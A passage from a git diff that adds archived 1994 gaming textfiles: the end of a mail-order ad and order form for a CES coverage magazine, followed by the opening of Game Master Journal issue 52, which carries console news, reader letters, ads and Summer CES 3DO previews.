five-page synopsis) in the average + mainstream magazine. Each company-specific set of + disks and additional printed materials will cost + an additional $5.00, and a disk of miscellaneous + photos and out-takes will be only $4.00. That + miscellaneous disk will include pictures from + companies like Sony, TTI and Commodore (if any + of them show up for CES). We're selling Atari, + Nintendo, Sega and 3DO company disks which will + include the aforementioned companies' licensees + as well. If you want to buy the whole + compendium of CES information, the price is $26. + + [*] Functionality: [*] IBM or Macintosh disks will be included with + each company-specific or miscellaneous/outtakes- disk + order. The photographs will be in a format maximized + for compression and photo quality. You'd be amazed + at how much high resolution detail we were able to + squeeze into the last Summer CES photos; more, + believe it or not, than could be seen without a + magnifying glass. The printed magazine can be kept + on your desk, framed above your fireplace or used as + a security blanket. Regardless of what you do with + it, it'll look cool and contain entertaining insights + into the real nature of the CES show. + + [*] Quick Delivery: [*] Here's the best part. Waiting sucks and no one knows + it better than Team Renegade and you. We're making a + guarantee that TNT will be released at a *maximum* of + three weeks after CES. We're going to try for two + weeks or less, but we can't control everything. + Remember, we're not talking about just printing + regurgitated press releases and press kit photos; + you'll see the former on the Internet within a day of + release to the media. TNT will feature the types of + nook and cranny questions no one seems to ask. + + Renegade Technologies Unlimited is committed to the production of an + exceptional piece of journalism. The TNT magazine will be both comprehensive + and professionally produced, delivered faster than the major magazines and + far more insightful for certain. RTU will be maintaining a professional + set of records for those who order TNT in advance and we make an absolute + guarantee that if we cannot deliver the product we will instantly refund + your money. Additionally, if Sega and their licensees have no presence at + the CES (which is quite doubtful), we'll refund the cost of the Sega-specific + diskettes. + Want to see the quality of our past work? Check out the BUSOP.CIT.WAYNE. + EDU site (cd pub/ces and pub/pselect) for high quality photographs, game + reviews and information... or read the work of our staff in such publications + as GamePro, VideoGames magazine, Wired, Intelligent Gamer, VidBits and Game + Bytes. You'll appreciate our devotion to customer satisfaction and the degree + of our attention to properly handling your order. + Order today and be guaranteed the best *honest* information directly + after the Summer CES... and next time someone promises that they'll ask your + questions and bring you the answers, remember who did it first and who does + it best. + + Jer Horwitz + President + Renegade Technologies + - Unlimited - + + [PLEASE NOTE: There is no shipping charge for orders within the United States. + TNT is not necessarily endorsed by Atari, Nintendo, Sega, 3DO or any company + other than Renegade Technologies Unlimited. We thank the editors of Game + Master Journal, Intelligent Gamer and the former Vidbits for their continuing + support and endorsement.] + + ******************/\********************************************************* + *****************/ /********* A Renegade Technologies Unlimited Production ** + ****************/ /********************************************************** + ** _______ /\ / /_______ *************************************************** + **/__ __// \/ //__ __/ ** __ __ ** + ** / / / /\ / / / ** [ ] __ _ __ __ | __ __ ** + ** / / / / / / / / ** | | [ ] | \ [ [ ] | [ ] [ ] |\ /| ** + **/_/ / / /_/ /_/ ** | | [__] | | |__ [__] [__ | | |__] | \/ | ** + ******/ /******************* | | | \ | | | | \ | | | | \ | | ** + *****/ /* -The Next Thing- * [__] | \ [_/ [__ | \ | [__] | \ | | ** + *****\/********************************************************************** + ***************************************************************************** + ** Print It Out, Grab A Check or Money Order, Then Mail It To Us! ** + ***************************************************************************** + + Number + of Copies: + + [ ] TNT Printed Magazine: Includes detailed information about the best + [ ] and worst at CES; contains no disks but will include some printed + digitized photographs. A high-quality printed publication without + the childish handwriting you find in "fanzines." $6.00 per copy. + + [ ] TNT Extended Atari Coverage: Get the inside track on Atari's booth + [ ] at the CES, where nearly 100 developers have signed on to develop + Jaguar products. $5.00 per Atari extension. Includes: + Macintosh or IBM disk(s), circle your choice. + + [ ] TNT Extended Nintendo Coverage: See what Nintendo and its licensees + [ ] will be selling during the Christmas shopping season. Project Reality? + New portable Nintendo game systems? SNES Super Street Fighter 2 and + Mortal Kombat 2? $5.00 per Nintendo extension. Includes: + Macintosh or IBM disk(s), circle your choice. + + [ ] TNT Extended Sega Coverage: Despite plans to hold their own Sega show + [ ] in sunny Florida, there should most likely be a ample representation + of Sega software at Summer CES. A Genesis Mortal Kombat 2 and Super + SF2? Saturn? $5.00 per Sega extension. Includes: + Macintosh or IBM disk(s), circle your choice. + + [ ] TNT Extended 3DO Coverage: With a powerful multimedia machine and + [ ] several hundred licensees, there will be plenty of amazing 3DO + hardware and software on display. The new Samsung 3DO machine? The + IBM-compatible 3DO-on-a-card? $5.00 per 3DO extension. Includes: + Macintosh or IBM disk(s), circle your choice. + + [ ] TNT Miscellaneous and Outtakes Disks: The types of stuff we couldn't + [ ] quite categorize elsewhere. Last Summer CES had photos of Neon Man, + this incredibly dopey guy who did exercises in neon-tubed clothing + so he could sell neon lights for cars. We'd also anticipate some + shots of Sony's PS-X (if they choose to display it), any TTI game + system, Commodore CD-32 and the like. When you're not crying about + TTI, you can laugh at morons like Neon Man. $4.00, Includes: + Macintosh or IBM disk(s), circle your choice. + + [ ] TNT Grand Package: For $26 you get the magazine and all the extensions + [ ] including their disks and printed hardcopies. Specify IBM or Mac disks. + + TNT will be mailed to the following address: + + Name/Business: _____________________________________________ + + + Street Address: ____________________________________________ + + + City, State, Zip: __________________________________________ + + + * Country: _________________________________________________ + + Phone Number At Which You Can Be Reached (and appropriate hours): + + + (________) ________ - ___________ ____________________________ + + Internet Address (or other Electronic Service) (Please be accurate): + + + _______________________ @ ____________________________________________ + + Special Deal (if any, see below): + + + _________________________________________ + + * INTERNATIONAL ORDERS ONLY: Type of Shipping Preferred: + + + ______________________________ (Parcel Post/Printed Matter; include payment) + + ****************************************************************************** + ******************************* - Clip Here - ******************************** + + RTU recommends the use of US Mail Postal Money Orders but will also + accept valid personal checks and other legitimate types of money + orders. Checks should be made out to Renegade Technologies Unlimited. + + * = International orders, please see the table below and include + international shipping charges. + + International TNT Orders: + + International TNT orders will be accepted with payment in United States + funds only, and we advise use of either American Express money orders or + cashiers' checks from large international banks. The rates quoted below are + for US Mail standard international service and are based upon estimates of + package weight -- we do not intend to profit from shipping costs and RTU will + absorb losses if the magazine is heavier than anticipated. US Mail currently + claims the following rates will deliver a package within 7-10 days of mailing; + RTU makes no guarantees regarding the US Mail's system of international + deliveries but we do guarantee that RTU will promptly mail all materials to + you upon completion of the publication. Sorry, we cannot accept Eurocard or + other credit cards for orders. + + Overseas mailing rates (in Europe [outside of the United States]): + + Printed Matter Rate for any TNT order (take some risk of damage given + disk contents, though we'll try to prevent it on this end): add $7.00 for + shipping. + + Parcel Post Rates (treated like packages, with somewhat more care): + For the TNT magazine without any additional supplements: add $4 for shipping. + For TNT with one supplement: add $5.50 for shipping. + For TNT with two supplements: add $7.00 for shipping. + For TNT with three supplements: add $8.50 for shipping. + For the TNT Grand Package (or 4 supplements): add $9.25 for shipping. + + Canadian and Mexican (hehe) mailing rates: + + Printed Matter Rate for any TNT order (take some risk of damage given + disk contents, though we'll try to prevent it on this end): add $4.00 for + shipping. + + Parcel Post Rates (treated like packages, with somewhat more care): + + For the TNT magazine without additional supplements: add $2.50 for shipping. + For TNT with one supplement: add $3.75 for shipping. + For TNT with two supplements: add $5.00 for shipping. + For the TNT Grand Package (or 3-4 supplements): add $5.50 for shipping. + + * USA mailing rates: + + There is no additional shipping charge for orders delivered to addresses in + the United States. + + Please mail completed order form and appropriate payment to: + + Renegade Technologies Unlimited + 37 LeBrun Circle + Amherst, New York 14226-4120 + USA + Attention: TNT Magazine (GMJ) + + _____________________________________________________________________________ +[ ] +[ COMING IN THE NEXT [*] 3DO coverage, including Way of the Warrior ] +[ ____ __ __ _ [*] Info on Super Street Fighter II Turbo for 3DO ] +[ / ___| \/ | | | [*] 3rd-party Super NES and Genesis games ] +[ | | _| |\/| |_ | | [*] Super Street Fighter II (SNES) reviewed ] +[ | |_| | | | | |_| | [*] Ace's Angles, GMJ's RLR, and more! ] +[ \____|_| |_|\___/ ] +[_____________________________________________________________________________] + +Producer: Anthony Shubert Online Layout Editor: "Ace" Anthony Shubert +Head Writing Staff: Contributors: + HEAD WRITER "Cue" David Rubin "Back Door Weasel" Mike Waters + ARCADE EDITOR "Eli" Jeff Sauls "Matrix" Timothy Shubert + PC EDITOR "Arkady" Tanya Kutasz "Shez" Sharon Birdsall + + We are not affiliated with or endorsed by the following companies: Nintendo of + America, Sega Enterprises, Turbo Technologies (NEC), Atari Corp., Atari Games, + 3DO, or any other videogaming company. + + Product names are either (c) or trademarks of their respective companies, and + the non-marking of such product is not a challenge to its status. + + Ace's Angles, Chronicle, Express Mail, Warp Zone, and all content are + (c) 1990, 1991, 1992, 1993, 1994 Innovative Creations + + :: Some ASCII/ANSI work created with use of 'TheDraw' SW program :: + :: Some ASCII work created with use of 'Figlet' freeware program :: + + + + + + + + \ No newline at end of file diff --git a/textfiles.com/games/gmj52.d70 b/textfiles.com/games/gmj52.d70 new file mode 100644 index 00000000..9e7bbbf5 --- /dev/null +++ b/textfiles.com/games/gmj52.d70 @@ -0,0 +1,882 @@ ++==| Super NES |==| Genesis |==| Arcade |==| Jaguar |==| News |==| Opinion |==+ +| ____ __ __ _ | +| / ___| __ _ _ __ ___ ___ | \/ | __ _ ___| |_ ___ _ __ | +| | | _ / _` | '_ ` _ \ / _ \ | |\/| |/ _` / __| __/ _ \ '__| | +| | |_| | (_| | | | | | | __/ | | | | (_| \__ \ || __/ | | +| \____|\__,_|_| |_| |_|\___| |_| |_|\__,_|___/\__\___|_| | +| | +| _ _ | +| | | ___ _ _ _ __ _ __ __ _| | | +| _ | |/ _ \| | | | '__| '_ \ / _` | | | +| | |_| | (_) | |_| | | | | | | (_| | | | +| \____/\___/ \__,_|_| |_| |_|\__,_|_| | +| ISSUE 52 | +| An Innovative Creations production July 12 - July 18, 1994 | ++=============================================================================+ +| Complete 3DO coverage, including info on Way of the Warrior! | +| Super Street Fighter II (SNES) Reviewed, news on SSF2T for 3DO | +| RLR: The top and bottom five Summer CES 'stories' | +| Ace's Angles: 19 feet deep and falling | +| NEWS: Atari to send 300,000 Jags to market by year's end | ++=============================================================================+ +[TABLE] + Ace's Angles..........................................................[ACE'S] + What it's like to be rescued by lifeguards + Ultimate '94 Summer CES Tape........................................[TAPE-AD] + The goods are shipping this week! + The NEWS...............................................................[NEWS] + Atari to send Jags en masse to market + 3DO to get only version of Super Street Fighter II Turbo + Express Mail...........................................................[MAIL] + "Twisted Facts", and more + Gamer's World.........................................................[GW-AD] + The official home of GMJ + Information Update......................................................[NFO] + What's going on with Game Master Journal + Summer CES Report, part 2..............................................[SCES] + Complete 3DO coverage + Project TNT..........................................................[TNT-AD] + Order the Ultimate CES-only printed/disk-based mag + ++=[ACE'S]====================================================================+ +| ___ _ ___ _ | +| / _ \ ( ) / _ \ | | | +| | |_| | ___ __|/ ___ | |_| |_ __ __ _| | ___ ___ | +| | _ |/ __/ _ \/ __| | _ | '_ \ / _` | |/ _ \/ __| | +| | | | | (_| __/\__ \ | | | | | | | (_| | | __/\__ \ | +| |_| |_|\___\___||___/ |_| |_|_| |_|\__, |_|\___||___/ | +| __/ | | +| |___/ | ++============================================================================+ + Welcome to the friendliest place on the Information Superhighway, Game + Master Journal! I'm your non-toll keeper, Anthony "Ace" Shubert, bringing you + the news, opinion and banter you have come to expect. Even if you don't like + it.. :) + Well, Mortal Kombat II is coming out at 24 megs compressed, instead of the + 32 meg we reported here last week. OOPS.. :) I guess the gang at Frontier + and TGF won't have to buy more RAM for their Super Wild Cards.. + You like our new SearchWords (tm)? Like ACE'S in the brackets. Think of + them like bookmarks. If you have a text editor that searches for words, this + will make it easier for you to more around the mag. Any suggestions on them? + For more info, please SearchWord INFO. (Oh yeah, SearchWord is a noun and a + verb. Ahh, you gotta love the gang at Marketing.) + Oh! I won Blockbuster Video's World Game Championship in my store (Quincy, + Mass.) with a score of 654,709 in the Super NES division. Regionals are this + weekend... report next week. + Well, sorry that I can't report too many rumors this ish - I have been a bit + pre-occupied. I almost drowned this weekend. [And all of those who are + cheering/laughing, go into your room! =] + During the Family Reunion Of Doom (tm) I went to a state park here on + Massachusetts' Cape Cod. Tanya (Arkady) and Timothy (Matrix) and I were + swimming and having fun in the pond, when the two of them took off into the + deep part of the "safe-for-swimming" area, marked off by some buoys. I figure + 'Okay, chase them - you can rest on the buoys and get your strength and breath + back.' I did, and they were not strong enough to hold my 225 pound frame. + And I was tired. I paniced - despite Ark's and Matrix' best efforts, I "went + under." Twice. + One of the 2 lifeguards on duty made it to me, went behind me and CHOKED ME, + me going into the water. Just when I think I'm about to 'bite the big one,' + the other lifeguard appears with a floatation device, which I hold onto as if + my life depended on it. (Because it did!) + My, THAT was fun. Well, gotta go and put in for hazard pay - enjoy GMJ 52. + +:::: ADVERTISEMENT :[TAPE-AD]::::::::::::::::::::::::::::::::::::::::::::::::: +:: :: +:: __ ______ _ __ _ ____ __ __ :: +:: / / / / / /_(_)___ ___ ____ _/ /____ ( ) __ \/ // / :: +:: / / / / / __/ / __ `__ \/ __ `/ __/ _ \ |/ /_/ / // /_ :: +:: / /_/ / / /_/ / / / / / / /_/ / /_/ __/ \__, /__ __/ :: +:: \____/_/\__/_/_/ /_/ /_/\__,_/\__/\___/ /____/ /_/ :: +:: :: +:: _____ _________________ :: +:: / ___/__ ______ ___ ____ ___ ___ _____ / ____/ ____/ ___/ :: +:: \__ \/ / / / __ `__ \/ __ `__ \/ _ \/ ___/ / / / __/ \__ \ :: +:: ___/ / /_/ / / / / / / / / / / / __/ / / /___/ /___ ___/ / :: +:: /____/\__,_/_/ /_/ /_/_/ /_/ /_/\___/_/ \____/_____//____/ :: +:: :: +:: You've read the reviews - now SEE the moves! Exclusive video footage!! :: +:: :: +:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: +: : +: Video Source and GMJ have teamed up to create the ultimate Summer Consumer : +: Electronics Show video. Our video will contain: : +: : +: * direct feed of the hottest games, : +: * interviews from well known people from various companies, such as : +: Bill White from Sega and many more, : +: * previews of the 32X, Jaguar add-ons and Ultra 64! : +: * Mortal Kombat II, Donkey Cong Country, Super SF2, Alien vs. Predator, : +: Way of the Warrior, and more! : +: : +:Marty Chinn is known for running Video Source, day by day CES reports from : +:last winter, and the WCES video. GMJ is the #1 online gaming magazine : +:and without them, the interviews could not be possible. : +: : +:What a perfect team! : +: : +:The price of the video will be 12 dollars plus shipping. Shipping costs are: +:as follows: : +: : +: US: $3.00 Canada: $3.50 International: $10.00 : +: : +:Please make check or money orders payable to _Linda Chinn_ and send it to: : +: : +:>>>>>> Video Source : +:>>>>>> 973 Foxglove Dr. : +:>>>>>> Sunnyvale, CA 94086 : +: : +:OR - call 617.472.0041 and ask for the Summer CES video if you have : +:an Visa, MasterCard or Discover/Novus. Same Day shipping if you order : +:with a credit card! [After tape is complete: about 7/7/94.] : +:You can email your credit card orders to shuubert@usc.edu with your name, : +:address, phone number, card, card number and exparation date. : +: : +:Marty Chinn and GMJ are also a part of Project TNT and it will definately be: +:hot so don't hesitate to order your copy. TNT for in depth info and Video : +:Source and GMJ for the ultimate video, will give the CES experience to you. : +:Forget the rest, get the best. TNT and Video Source/GMJ. : +: : +:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: + + + ++-[NEWS]=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-+ +/ \ +\ # # ##### # # ### # # #### #### ### ##### ##### / +/ ## # # # # # # # # # # # # # # # \ +\ # # # ### # # ### # # #### # # ##### # ### / +/ # ## # # # # # # # # # # # # # # \ +\ # # ##### # # #### ### # #### # # # ##### / +/ \ ++-[ NEWS: The Computer Workshop 617.472.0041 386SX-33 system only $850! ]-+ + + *,..,*'``'*,..,*'``'*,..,*'``'*,..,*'``'*,..,*'``'*,..,*'``'*,..,*'``'*,..,* + ATARI CORPORATION ANNOUNCES MANUFACTURING PLANS + *,..,*'``'*,..,*'``'*,..,*'``'*,..,*'``'*,..,*'``'*,..,*'``'*,..,*'``'*,..,* + + Atari Corporation (ASE:ATC) confirmed today a majority of its 1994 300,000 + piece production of Jaguar will be manufactured by IBM in Charlotte, North + Carolina. Jaguar is the only 64-bit multimedia entertainment system and is + the only video game system made exclusively in the United States. + + Sam Tramiel, President said, "We are pleased to have IBM's manufacturing + strength and support as we commence volume production for the Christmas + selling season and we are proud that this relationship has enabled us to + competitively manufacture Jaguar in the United States." + + What does this mean? Cheaper Jags. If the Jaguar was manufactured overseas, + as some other companies do, the Jag would be 30 to 50 dollars more than what + it is now (from $225 to $249 retail.) + + *,..,*'``'*,..,*'``'*,..,*'``'*,..,*'``'*,..,*'``'*,..,*'``'*,..,*'``'*,..,* + SUPER STREET FIGHTER II TURBO 3DO-BOUND + *,..,*'``'*,..,*'``'*,..,*'``'*,..,*'``'*,..,*'``'*,..,*'``'*,..,*'``'*,..,* + + Matssushita Consumer Electronics Company will market Super Street Fighter II + Turbo for the 3DO platform. It's projected for a November release with no + MSRP at press time. + + SSF2 Turbo for the 3DO will be the first Capcom game on the multimedia + platform. It will take full advantage of the 32-bit RISC processor, providing + a true arcade feel with arcade-quality graaphics and CD-quality sound. + + Everything from the new animations and moves for each character to the new + "Super Death Combos" will all be included. Gouki, a hidden character, will + also be in the game for players to fight against. + + As it stands now, there are no plans to produce a special controller for the + game, which may make game-play a bit diffucult. The standard 3DO controller + has 6 buttons, 3 on the right thumb (like a standard Genesis stick), a start + button and 2 under your pointer fingers atop the stick (like the Super NES + stick.) All SF2 games use 6 buttons during gameplay, 3 for punching and 3 for + kicking, so one must wonder how the 3DO version will play. + + *,..,*'``'*,..,*'``'*,..,*'``'*,..,*'``'*,..,*'``'*,..,*'``'*,..,*'``'*,..,* + ATARI CORPORATION AND TIME WARNER INTERACTIVE INC. JAGUAR DEAL + Leader in Coin-Operated Gaming Systems to Power Machines with Jaguar Engine + *,..,*'``'*,..,*'``'*,..,*'``'*,..,*'``'*,..,*'``'*,..,*'``'*,..,*'``'*,..,* + + Atari Corporation today announced that it has signed an agreement with the + coin-operated game division of Time Warner Interactive, Inc., a worldwide + leader in video games and entertainment software and creator of such arcade + hits as Hard Drivin', Race Drivin' and Roadblasters. The agreement will make + Jaguar's award- winning 64-bit technology engine available for Time Warner + Interactive arcade games. The deal also states that all software titles + developed on the Jaguar platform by Time Warner Interactive will also be + available on the Jaguar home video system. + + "Embedding the 64-bit horsepower of Jaguar in our coin- operated video games + will enable us to broaden our presence in the largest sector of the arcade + market that demand high performance at competitive pricing," said Geoff + Holmes, CEO of Time Warner Interactive. "We believe the Jaguar engine will be + instrumental in helping us meet this important goal." + + "We are pleased that Time Warner Interactive has chosen the Jaguar engine to + power its outstanding arcade video games," said Sam Tramiel, President, Atari + Corporation. "This agreement will give a new segment of game players access + to Jaguar's unprecedented performance and provide a host of hot, new titles + for Jaguar. We look forward to continuing to expand Jaguar's market reach." + + Time Warner Interactive, a subsidiary of Time Warner Inc., is a leading + developer and publisher of Interactive consumer entertainment products that + span across platforms from coin-operated video arcade games and home video + games systems, to game-based CD and computer CD-ROM platforms and interactive + TV applications. TWI was formerly known as Atari Games / Tengen. + + [MAIL]____________________________________________________________________ + ]^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^[ + ] Innovative Creations [ + ] 25 Temple Street +--- + + +--+ +--+ +--- +-- +-- [ + ] Quincy, MA 02169 |- ++ +--+ |-++ |- +--+ +--+ [ + ] (shubert@usc.edu) +--- + + | | \ +--- --+ --+ [ + ] |\ /| +--+ -+- | [ + ] | | |--| | | [ + ] | | | | -+- +--- [ + ]_____________________________________________________________________[ + ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + >>> We publish as many letters as we can - so send your in to the email + >>> address above if you want everyone in GMJ to read it, or mail it to one + >>> of our writers directly [see email list, below.] + + *,..,*'``'*,..,*'``'*,..,*'``'*,..,*'``'*,..,*'``'*,..,*'``'*,..,*'``'*,..,* + We screwed up, sew us... + *,..,*'``'*,..,*'``'*,..,*'``'*,..,*'``'*,..,*'``'*,..,*'``'*,..,*'``'*,..,* + + "[GMJ] Game Master Journal #51 - over 58k big!" + 58k's worth of... twisted facts? + Case in point, in a review of the arcade game Alien vs. Predator: + +> This game is setup like Final Fight, and you have a choice betweeen four +> different characters: Maj. D. Schaeffer has the best strength , Lt. Ripley +> has the best skill rating, + + Lt. Ripley?! She wasn't even in the game! + I'm sure our editor sure was taking his job as a fact-checker real seriously. + :) Way to go GMJ... being the first doesn't mean being the best. + + Eddie | edju@phakt.usc.edu (Mortal Kombatant) + +[ACE: Ahh, my fans from USC. Yes, Ripley was _NOT_ in the game. My bad! I + guess that you should stop reading us now - we made one error. This + happens when you print as much info as we do. + Sorry. 5 bytes incorrect out of 58k is a pretty good average, I think.] + + *,..,*'``'*,..,*'``'*,..,*'``'*,..,*'``'*,..,*'``'*,..,*'``'*,..,*'``'*,..,* + Dissatisfied reader doesn't like ads + *,..,*'``'*,..,*'``'*,..,*'``'*,..,*'``'*,..,*'``'*,..,*'``'*,..,*'``'*,..,* + + Might want to include some articles in between the ads next time! + ;) + -Mike | [email address withheld upon request] + + [ACE: Electronic Gaming Monthly has a 1 page of "info" to 1 ad ratio. Ours + over our 4 years has been about 88:1 [no joke], and over the last 3 + months better than 8:1. Considering that we are FREE, the ads are a + small price to pay (otherwise, we can't exist. Lights, phone, rent..)] + + *,..,*'``'*,..,*'``'*,..,*'``'*,..,*'``'*,..,*'``'*,..,*'``'*,..,*'``'*,..,* + Aussie wants Jaguar info... + *,..,*'``'*,..,*'``'*,..,*'``'*,..,*'``'*,..,*'``'*,..,*'``'*,..,*'``'*,..,* + Hallo Anthony, + + I read your mag every week since ish #45 and I reckon it's pretty cool. I + get it from the alt.games.mk newsgroup but I missed ish #50. Can you please + make me a subscriber so I never miss a copy! + By the way, is the Jaguar really 64bit or is it 2 x 32bit processors? + Because I heard that it was 2 x 32bit processors. Have you played the Jag or + 3DO are they cool? + Thanks.. + Please remember to put my subscription in! And could you also please + include ish 50 because I heard that it had great CES coverage. + + From your #1 GMJ Fan in Sydney Australia! + Guy (Son of John (I love the Net!)) + + [ACE: Thanks for subscribing - by the time you read this you should have ish + 50 in your inbox. The Jag has a 64-bit Graphics processor (and others + to help it, like a 'Blitter'), a 32-bit match co-processor, and a 16-bit + controller processor (can be used for other things.) For a more + complete answer, seek the FAQ from the newsgroup rec.games.video.atari ] + + *,..,*'``'*,..,*'``'*,..,*'``'*,..,*'``'*,..,*'``'*,..,*'``'*,..,*'``'*,..,* + Rev-X has Eat The Rich, and reader wants to write... + *,..,*'``'*,..,*'``'*,..,*'``'*,..,*'``'*,..,*'``'*,..,*'``'*,..,*'``'*,..,* + Anthony, Anthony, Ace... + + "Eat the Rich" *is* in Rev_X.... + + Near the end of the first level in the club as you're walking the gangplank -- + oops... you have to get to a secret room to walk on that part. Anyway -- + it's in there (sorry, Prego! (tm)). + + So, if I wanted to, I could write journals about pinball games, and send them + in? Also, I have a decent expertise about pinball games.... video and + regular... this coming from a kid who had both Pinbot and High Speed for the + old 8 bit. I'd probably have to rent them to review them, but that would be + ok... How do you get a chance to get games so early...? + + Well -- I must go -- 51 was good; can't wait to hear more about the ol' + mk3/mk2 action!!! BTW, there's an ok discussion about who should be plotted in + mk3 in rec.v.g.arcade...James Earl Jones doing a voice-over.... nice.... :) + + Finally, cool mention of ADIs... I don't think some people will still + understand it... + + Talk to you later, Anthony. + Nick "DJ" Schneider + North Central College + WONC-FM 89"Pure Rock".1 + Naperville, Illinois + gsancs@nccseq.noctrl.edu + + [ACE: We are considering making a 'Pinball Masters Journal,' but our previous + attempts to hit that audience ended in flames [see GMJ 38.] The news- + group about pinball, rec.games.pinball, is very 'closed,' in that if + you haven't been there for years, they do not want you. + And you're right - we got about 5 replies that ETR is in Rev-X. I need + to go play some more!! + By the way, does the 'noctrl' in your email address mean "North Central" + or "No Control"? ] + + + ..................................................................... + : : + :# # ##### # # ### # # ##### ##### # # ### ##### # : + :# # # # # # # ## # # # ## ## # # # # : + :# # ### # # ##### # # # # ### # # # ##### # # : + :# # # # # # # # # # ## # # # # # # # # : + : # # ##### # # # # # # # ##### # # # # ##### #####: + : ........................: + :ANTHONY SHUBERT shubert@usc.edu : : + :DAVID RUBIN cue@escape.com : Without email, GMJ : + :TANYA KUTASZ tnkutasz@ugcs.caltech.edu : can't work! So tell : + :all other staff shubert@usc.edu : us what you think! : + : : : + :...........................................:.......................: + + + [-=-] [-=-] [-=-] [-=-] [-=-] [-=-] [-=-] [-=-] [-=-] [-=-] [-=-] [-=-] [-=-] + Game Master Journal Informational Update + [NFO] [-=-] [-=-] [-=-] [-=-] [-=-] [-=-] [-=-] [-=-] [-=-] [-=-] [-=-] [-=-] + This is just a little section we have added in so you, the readers, can be + informed about GMJ and Innovative Creations. + + GMJ's IRC Tuesdays re-start tonight [July 12] in channel #GMJ at 9pm Eastern. + + As of next week [Issue 53], GMJ will be sent through email before noon + Tuesdays. Posted on the newsgroups shortly thereafter. + + Discussion on alt.config about the GMJ newgroup, alt.mag.game-master-journal, + begins this Thursday. Please feel free to post your opinions! + + If you have been sending [GMJ] FAQ requests, they have been ignored. Sorry! + Please re-send them and we'll send one back. + + GMJ is is nesprate need of Genesis reviewers. If you own a Genesis, and want + to work for internship credit or the like, please send for our writers + guidelines (make the subject [GMJ] guidelines). + ++-| ADVERTISEMENT | [GW-AD] =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-+ +/ ### ### # # ##### #### / ### # # ### #### # #### \ +\ # # # ## ## # # # # # # # # # # # # # (617) / +/ # ## ##### # # # ### #### ### # # # # #### # # # 472 \ +\ # # # # # # # # # # # # # # # # # # # # VERY! / +/ ### # # # # ##### # # #### # # ### # # ##### #### \ +\ / +/ The home BBS of Game Master Journal - 24hrs - 640meg - 14.4 baud - FREE! \ ++-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-+ + + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-+ + / ************************************************************************* \ + \ ********* ### ##### ### #### ##### #### ### #### ##### ********* / + / ********* # # # # # # # # # # # # # ********* \ + \ ********* # ### ### #### ### #### # # #### # ********* / + / ********* # # # # # # # # # # # # ********* \ + \ ********* ### ##### #### # # ##### # ### # # # ********* / + / ************************************************************************* \ + +-=-=-=-=-=| Complete 3DO coverage: Way of the Warrior and more!! |-=-=-=-=-+ + + The 3DO was, once again, shown in a seperate building than Sega and Nintendo. + Unlike shows past, the 3DO Company made a strong showing for themselves by + unveiling their second-generation games and hitting a wider market with them. + + The most talked about, most played and most hyped game at the 3DO booth (and + maybe the entire show) was Naughty Dog's Way of the Warrior. It out fights + Street Fighter, and out combats Mortal Kombat. Varying fighting terrains (Ice + Caves have 4 levels of fighting, the Fire Pit's edges burn away as the match + goes on...) and vastly different characters make this a MUST BUY GAME for the + 3DO. + + Each of the 9 player-characters are rendered and digitized beautifully. They + each have a unique style (kickboxing, boxing, street fighting, FLYING, Tai + Kwan Do, and more) and between 60 and 80 moves EACH! + + The screen pans, zooms and tilts with the action to keep you involved. There + are reflections, weather effects, perspictve shadows and many more graphical + wonders. + + Instead of scoring you points, you get "Skull Points" per hit. As you go, you + can collect them by literally knocking them out of your foe, or having them + land on you from above. You can then use these for mega-powerful moves (7 + seconds invincibility, limited invisibility, double damage and unusual moves), + but you need to build the pinage first. A great strategy plus! + + Coming this August (no MSRP yet) Way of the Warrior will be the WAY COOL game + this fall! + + Here's a list of the other games at the show, in alphabetical order by + company name.... + + American Lazer Games will be releasing Shoot Out at Old Tuscon to the + _arcades_. Almost mimicing the NEO*GEO, this 3DO-in-an-arcade-cabinet system + will allow arcade owners to change from one game to another quite easily (just + by switching CDs.) Next on the list: driving and fighting games. + + Chrystal Dynamics showed three big name games at the show. Off-World + Interceptor is a 2-player/same-screen 4x4 racce and chase and shooter game. + The terrain is very realistic - and beautiful, considering it's moon-like - it + almost gives you the feel that you ARE there. I jumped off a cliff with my + Interceptor, and in one player mode, you do feel it. (Two players split the + screen down the middle, so you only see 1/2 the action. Oh well.) Needs a + few more weapons, but right now it's looking pretty good. It's about 70% done + now, and should be released by the end of summer. + + Star Control II is a port from the award-winning PC game. The only part of + the game complete was the melee, where you and a friend (or the computer) play + Street Fighter with ships; each ship has a different speed, range, and style + of weaponry to choose from. Over 16 ships to choose from. The digitized + voices and sounds will be in the finished version (the game was only 20% at + the show.) The quest mode will also be in the game, where you must save the + universe from being taken over by Kohr-Ah by dealing with aliens, mining + planets (avoiding natural disaters such as lava, lightning and warped gravity) + and fighting with and against the big guns. Great game for IBM, lets see it + on 3DO. No release date as of press time. + + Samurai Showdown, based on SNK's NEO*GEO game, was at about 10%. What was + there was an almost exact translation of the arcade swordfighting game. They + are shooting for a Christmas release. + + Electronic Arts continues to be a HUGE 3DO licensee with three big games for + the 3DO. Road Rash, Shock Wave: Invasion Earth 2019 and Theme Park are all + going to be major 3DO hits. And the surprise of the show: FIFA Soccer. + + FIFA Soccer was about half done - and it was amazine. 3-D rendered players + (11 on 11) played in a full-screen, full-motion, no-lag game that was amazing. + While 4 could link-up at the show, 8 players will be able to compete at once + in the final version, coming later this year. 360-degree rotation, CD-quality + sound, and much, much more. + + Road Rash, a Genesis port, is a motercycle-gone-nuts driving/combat game. + Drive through the countryside, cities and more while punching, kicking and + whipping enemy motercyclists to the ground. Included in this version will be + full motion video (FMV) of 6 A&M Records alternative music bands. This + footage is combined with the existing motercycle footage to make a real + 'multimedia' game. No MPEG module is needed. Coming this month, it's MSRP + is $70. + + Shock Wave: Invasion Earth 2019 is an interactive sci-fi movie that puts + players inside an F-177 space airship. You'll fight 3-D real-time-rendered + alien nasties 